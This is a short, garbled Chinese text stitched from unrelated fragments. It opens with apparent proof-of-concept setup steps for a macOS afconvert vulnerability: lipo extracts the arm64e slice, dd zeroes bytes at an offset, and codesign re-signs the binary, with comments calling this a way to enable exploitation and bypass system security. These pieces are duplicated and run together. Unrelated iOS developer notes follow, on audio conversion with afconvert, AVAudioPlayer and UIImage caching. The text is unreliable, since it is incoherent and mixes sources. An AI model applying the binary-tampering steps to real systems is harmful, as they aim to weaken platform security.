-output afconvert_arm64edd if=/dev/zero bs=4 seek=2 count=1 of=afconvert_arm64e conv=notrunccodesign --sign - -f afconvert_arm64e使用说明基础使用清理先前输出rm output.mp4运行PoC程序lldb . /bin/sh# 提取并修改afconvert工具的arm64e架构版本# 这里的关键操作是修改二进制文件的特定偏移,为漏洞利用创造条件lipo -thin arm64e /usr/bin/afconvert -output afconvert_arm64e# 在特定偏移处写入零值,破坏原有结构# seek=2 指定偏移位置,count=1 写入一个4字节块dd if=/dev/zero bs=4 seek =2 count=1 of=afconvert_arm64e conv=notrunc# 重新签名修改后的二进制文件,绕过系统安全机制codesign --sign - -f afconvert_arm64e
四、音频转换工具 转换为 aiff 格式 afconvert -f AIFF -d I8 filename 转换为 caf 格式 afconvert -f caff -d aac -b 32000 filename -name '*.mp3' -exec afconvert -f caff -d aac -b 32000 {} \\; 五、音乐的播放 音乐的播放用到一个叫做 AVAudioPlayer 的类 AVAudioPlayer
原始文件格式不一定是AIFC,这种情况下我们需要使用afconvert工具转换为AIFC格式: $ afconvert -f AIFC -d ima4 Fx08822_cast.wav 1.1.3 音乐特效优化 $ afconvert -f caff -d LEI16 Fx08822_cast.wav 1.2 图片格式优化 创建UIImage对象方法的优化 + imageNamed:类级构造方法,方法会在内存中建立缓存